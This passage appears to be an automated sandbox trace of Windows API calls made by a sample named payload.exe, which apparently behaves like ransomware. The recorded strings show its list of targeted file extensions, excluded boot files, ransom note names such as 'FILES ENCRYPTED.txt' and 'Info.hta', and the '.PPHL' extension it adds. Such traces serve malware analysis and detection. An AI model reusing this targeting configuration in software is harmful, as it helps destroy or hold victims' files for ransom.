RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c830 [0053.573] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x60a010 [0053.573] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c870 [0053.574] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c888 [0053.574] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c8a0 [0053.574] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c8b8 [0053.574] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c8d0 [0053.574] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c8e8 [0053.574] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c900 [0053.574] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c918 [0053.574] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c930 [0053.574] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe) returned 0x61c948 [0053.574] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c960 [0053.574] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe) returned 0x61c978 [0053.574] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c990 [0053.574] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c9a8 [0053.574] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c9c0 [0053.574] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c9d8 [0053.574] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c9f0 [0053.574] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x61ca08 [0053.574] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61ca20 [0053.574] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61ca38 [0053.574] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61ca50 [0053.574] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61ca68 [0053.574] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61ca80 [0053.574] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61ca98 [0053.574] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61cab0 [0053.574] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61cac8 [0053.574] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61cae0 [0053.574] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61caf8 [0053.574] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61cb10 [0053.574] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61cb28 [0053.574] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61cb40 [0053.574] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61cb58 [0053.574] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61cb70 [0053.574] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61cb88 [0053.574] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61cba0 [0053.574] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x61cbb8 [0053.575] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x12) returned 0x605f08 [0053.575] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61cbd0 [0053.575] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61cbe8 [0053.575] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61cc00 [0053.575] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61cc18 [0053.575] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61cc30 [0053.575] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61cc70 [0053.575] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61cc88 [0053.575] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61cca0 [0053.575] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61ccb8 [0053.575] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61ccd0 [0053.575] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61cce8 [0053.575] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61cd00 [0053.575] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61cd18 [0053.575] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61cd30 [0053.577] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61cd48 [0053.577] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61cd60 [0053.577] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61cd78 [0053.577] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61cd90 [0053.577] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61cda8 [0053.577] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61cdc0 [0053.577] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x61cdd8 [0053.578] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x61cdf0 [0053.578] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x61ce08 [0053.578] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe) returned 0x61ce20 [0053.578] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x61ce38 [0053.578] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x60a020 [0053.578] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61ce50 [0053.578] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x60a030 [0053.578] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61ce68 [0053.578] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61ce80 [0053.578] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61ce98 [0053.578] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x61ceb0 [0053.578] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x61cec8 [0053.578] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61cee0 [0053.578] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x61cef8 [0053.578] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61cf10 [0053.578] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61cf28 [0053.578] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x61cf40 [0053.578] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61cf58 [0053.578] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x61cf70 [0053.578] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x61cf88 [0053.578] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61cfa0 [0053.578] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x60a040 [0053.578] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61cfb8 [0053.578] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61cfd0 [0053.578] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x6091a0, Size=0x800) returned 0x61d458 [0053.579] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776 [0053.579] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x61b450 | out: hHeap=0x5d0000) returned 1 [0053.579] lstrlenW (lpString="") returned 0 [0053.579] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x61dd98 | out: hHeap=0x5d0000) returned 1 [0053.579] lstrlenW (lpString=".PPHL") returned 5 [0053.579] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e4758, Size=0x8) returned 0x5e4758 [0053.579] lstrlenW (lpString=".PPHL") returned 5 [0053.579] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x61dd98 | out: hHeap=0x5d0000) returned 1 [0053.579] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x61ddc8, Size=0x20) returned 0x5e4378 [0053.579] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e4378, Size=0x40) returned 0x606a88 [0053.579] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x606a88, Size=0x80) returned 0x62b458 [0053.579] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60a0b0, Size=0x8) returned 0x60a0c0 [0053.579] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60a0c0, Size=0x10) returned 0x61ddc8 [0053.579] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x61ddc8, Size=0x20) returned 0x5e4350 [0053.579] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48 [0053.579] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x62b458 | out: hHeap=0x5d0000) returned 1 [0053.579] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x61ddf8, Size=0x20) returned 0x605938 [0053.579] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x605938, Size=0x40) returned 0x606a88 [0053.579] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0053.579] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0053.579] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x606a88 | out: hHeap=0x5d0000) returned 1 [0053.579] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x61ddf8, Size=0x20) returned 0x605938 [0053.579] lstrlenW (lpString="Info.hta") returned 8 [0053.579] lstrlenW (lpString="Info.hta") returned 8 [0053.579] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x605938 | out: hHeap=0x5d0000) returned 1 [0053.580] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x63d448, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\payload.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\payload.exe")) returned 0x31 [0053.580] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x63d448 | out: hHeap=0x5d0000) returned 1 [0053.580] lstrlenW (lpString="payload.exe") returned 11 [0053.580] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e4350, Size=0x40) returned 0x606a88 [0053.580] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x61ddf8, Size=0x20) returned 0x5e4350 [0053.580] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x61ddf8, Size=0x20) returned 0x605938 [0053.580] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x605938, Size=0x40) returned 0x606ad0 [0053.580] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x606ad0, Size=0x80) returned 0x62b458 [0053.580] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x62b458, Size=0x100) returned 0x61b450 [0053.580] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0053.580] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x61b450 | out: hHeap=0x5d0000) returned 1 [0053.580] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x63d448, nSize=0x8000 | out: lpDst="C:\\Windows;") returned 0xc [0053.580] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x64d450 | out: hHeap=0x5d0000) returned 1 [0053.580] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x63d448 | out: hHeap=0x5d0000) returned 1 [0053.580] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60a0c0, Size=0x8) returned 0x60a0b0 [0053.581] lstrlenW (lpString="%windir%;") returned 9 [0053.581] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e4350 | out: hHeap=0x5d0000) returned 1 [0053.581] lstrlenW (lpString="C:\\Windows;") returned 11 [0053.581] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x62d440 | out: hHeap=0x5d0000) returned 1 [0053.581] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x61de10, Size=0x20) returned 0x5e4350 [0053.581] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e4350, Size=0x40) returned 0x606ad0 [0053.581] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x606ad0, Size=0x80) returned 0x62b458 [0053.581] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x62b458, Size=0x100) returned 0x61b450 [0053.581] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60a0f0, Size=0x8) returned 0x60a100 [0053.581] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60a100, Size=0x10) returned 0x61de58 [0053.581] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x61de58, Size=0x20) returned 0x5e4350 [0053.581] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60a0c0, Size=0x8) returned 0x60a100 [0053.581] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60a0d0, Size=0x8) returned 0x60a0c0 [0053.581] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60a0f0, Size=0x8) returned 0x60a110 [0053.581] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60a110, Size=0x10) returned 0x61df00 [0053.581] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x61df00, Size=0x20) returned 0x605938 [0053.581] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60a100, Size=0x10) returned 0x61df00 [0053.581] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60a0c0, Size=0x10) returned 0x61df30 [0053.581] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60a100, Size=0x8) returned 0x60a0f0 [0053.581] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60a120, Size=0x8) returned 0x60a130 [0053.581] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x61df00, Size=0x20) returned 0x6058e8 [0053.581] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x61df30, Size=0x20) returned 0x605848 [0053.581] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60a140, Size=0x8) returned 0x60a150 [0053.581] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0053.581] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x61b450 | out: hHeap=0x5d0000) returned 1 [0053.581] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x61dfa8, Size=0x20) returned 0x605960 [0053.581] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x62d440, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0053.581] lstrlenW (lpString="C:\\") returned 3 [0053.581] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x18fcac, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18fcac*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0053.582] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x62d440 | out: hHeap=0x5d0000) returned 1 [0053.582] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60a180, Size=0x82) returned 0x61b9b8 [0053.582] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60a1a0, Size=0x100) returned 0x61ba48 [0053.582] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x61bb50, Size=0x104) returned 0x61bc70 [0053.582] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x62b568, Size=0x100) returned 0x61bd80 [0053.582] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x61b9b8, Size=0x104) returned 0x61be88 [0053.582] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x61ba48, Size=0x200) returned 0x61bf98 [0053.584] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x60a190 | out: hHeap=0x5d0000) returned 1 [0053.584] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x61bf98 | out: hHeap=0x5d0000) returned 1 [0053.584] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x61b5d0 | out: hHeap=0x5d0000) returned 1 [0053.584] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x62b5f0 | out: hHeap=0x5d0000) returned 1 [0053.584] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x61e008 | out: hHeap=0x5d0000) returned 1 [0053.584] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x62b678 | out: hHeap=0x5d0000) returned 1 [0053.584] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x61e038 | out: hHeap=0x5d0000) returned 1 [0053.584] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x61be88 | out: hHeap=0x5d0000) returned 1 [0053.584] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x61e020 | out: hHeap=0x5d0000) returned 1 [0053.584] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x61bc70 | out: hHeap=0x5d0000) returned 1 [0053.584] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x61b5e8 | out: hHeap=0x5d0000) returned 1 [0053.584] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x61bbe0 | out: hHeap=0x5d0000) returned 1 [0053.584] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x61b600 | out: hHeap=0x5d0000) returned 1 [0053.584] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x61e020, Size=0x20) returned 0x605988 [0053.584] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x605988, Size=0x40) returned 0x606ad0 [0053.584] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x60a160 | out: hHeap=0x5d0000) returned 1 [0053.584] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x61dfa8 | out: hHeap=0x5d0000) returned 1 [0053.584] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x61b528 | out: hHeap=0x5d0000) returned 1 [0053.584] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x61dfd8 | out: hHeap=0x5d0000) returned 1 [0053.584] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x61bd80 | out: hHeap=0x5d0000) returned 1 [0053.584] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x61dfc0 | out: hHeap=0x5d0000) returned 1 [0053.584] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x60a170 | out: hHeap=0x5d0000) returned 1 [0053.584] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x61dff0 | out: hHeap=0x5d0000) returned 1 [0053.584] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x607ed0 | out: hHeap=0x5d0000) returned 1 [0053.584] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x606008 | out: hHeap=0x5d0000) returned 1 [0053.584] lstrlenW (lpString="%systemdrive%") returned 13 [0053.584] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x605960 | out: hHeap=0x5d0000) returned 1 [0053.584] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x62b458 | out: hHeap=0x5d0000) returned 1 [0053.584] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x60a140 | out: hHeap=0x5d0000) returned 1 [0053.585] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x60b430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x100 [0054.124] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10014) returned 0x63d448 [0054.124] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x61e038 [0054.124] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x61e038, Size=0x20) returned 0x605ac8 [0054.124] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x605ac8, Size=0x40) returned 0x606c80 [0054.124] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x606c80, Size=0x80) returned 0x62b458 [0054.124] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x62b458, Size=0x100) returned 0x620080 [0054.124] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x620080, Size=0x200) returned 0x6242d8 [0054.124] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x6242d8, Size=0x400) returned 0x6242d8 [0054.124] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x6242d8, Size=0x800) returned 0x6242d8 [0054.125] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x6242d8, Size=0x1000) returned 0x6242d8 [0054.125] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10000) returned 0x64d468 [0054.125] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x61e038 [0054.125] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x61b5d0 [0054.125] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x4) returned 0x60a140 [0054.125] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x61b5e8 [0054.125] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x4) returned 0x60a160 [0054.125] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61b600 [0054.125] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60a140, Size=0x8) returned 0x60a1a0 [0054.125] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61b618 [0054.125] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60a1a0, Size=0x10) returned 0x61b630 [0054.125] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61b648 [0054.125] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61b660 [0054.125] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x61b630, Size=0x20) returned 0x605ac8 [0054.125] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61b630 [0054.125] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x60a1a0 [0054.125] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe) returned 0x61b678 [0054.125] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe) returned 0x61b690 [0054.125] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x605ac8, Size=0x40) returned 0x606c80 [0054.125] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe) returned 0x61b6a8 [0054.125] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe) returned 0x61b6c0 [0054.125] RtlAllocateHeap 